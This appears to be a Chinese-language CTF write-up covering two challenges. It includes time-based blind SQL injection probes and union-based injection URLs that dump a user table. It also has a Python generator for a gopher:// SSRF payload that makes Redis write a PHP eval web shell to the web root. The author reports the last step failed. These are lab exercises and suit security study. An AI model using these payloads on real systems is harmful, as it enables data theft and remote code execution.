’ and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
题目一: [极客大挑战 2019]LoveSQL 这道题之前做的时候看wp没看明白,这次重新做了一下,有了一些其他的理解。 首先是用万能密码登陆, 用户名:1’ or 1=1# 密码:123(随便) 得到回显 知道了用户名和密码 不过既然是sql注入的题目,那肯是还是要继续找注入点 按照正常的注入思路,先爆字段 有三个 用union查询注入点
check.php?username=1'%20union select 1,2,3%23&password=123数据库名及版本
check.php?username=1'%20union select 1,database(),version()%23&password=123爆表
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=123爆数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=123得到flag
题目二: [GKCTF2020]EZ三剑客-EzWeb 通过这个题目复习了burpsuit的抓包以及跑字典 在源码处找到提示, 访问一下,得到
用file协议读文件,file://被过滤,可以file:/, 读到关键代码
在173.110.228.12这个IP得到提示 扫描到6379端口,是redis服务
import urllib.parse protocol="gopher://" ip="173.110.228.12" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] #构造redis命令 if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) print(payload)得到
gopher://173.110.228.12:6379/_*1 $8 flushall *3 $3 set $1 1 $31 *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $9 shell.php *1 $4 save不过payload之后并没有。。。。不懂了不懂了。。。